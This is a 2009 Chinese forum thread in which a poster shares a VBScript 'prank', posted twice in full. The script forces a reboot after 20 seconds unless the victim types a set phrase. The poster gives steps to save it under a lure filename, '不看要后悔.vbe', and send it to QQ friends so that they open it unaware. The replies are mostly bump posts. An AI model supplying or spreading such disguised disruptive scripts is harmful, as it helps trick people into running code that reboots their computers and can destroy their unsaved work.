发新话题
打印

给大家一个QQ整人。(保证马上关机)发帖加活跃度,威望

给大家一个QQ整人。(保证马上关机)发帖加活跃度,威望

给大家一个QQ整人的代码!大家先建一个(新建文档)然后把这些代码复制在新建文档里面。on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 20 -c ""说你是谁,不说就一分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "你是谁")
a = inputbox ("说你是谁,就不关机,快撒,说 ""你是谁"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"

   然后把(新建文档)重新属名成 (不看要后悔.vbe) 就可以了。
你只要把这文件传给你QQ好友,对方接受并打开后,你就马上发现他已经下线了。

    如果你一不小心点进去了是有救的,(系统说20秒内关机输入你是谁就不要不关机了)

    大家注意了;输入(你是谁)不是你的名字,实际就是输入(你是谁) 呵呵整人撒!
不顶不是人,不顶不是人,不顶不是人,(可以用本人试过了)鄙视不回帖的人.
.............................................................鄙视不回帖的人.

把这些代码复制进(新建文档)然后把(新建文档)重新改名字叫(不看要后悔.vbe)         on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 20 -c ""说你是谁,不说就一分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "你是谁")
a = inputbox ("说你是谁,就不关机,快撒,说 ""你是谁"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"

本人不会制作图!就只能这样了!

[ 本帖最后由 hejiuteng 于 2009-2-5 11:57 编辑 ]

TOP

兄弟啊,我早知道了
看到高手奉承,看到低手虐待

TOP

TOP

我也早知道了 还是顶下吧

TOP

怎么把代码加到文件夹啊

TOP

复制进去啊

TOP

提示: 作者被禁止或删除 内容自动屏蔽

TOP

顶!!!!!

帮你顶一把!哈哈!!!!

TOP

TOP

TOP

发新话题
最近访问的版块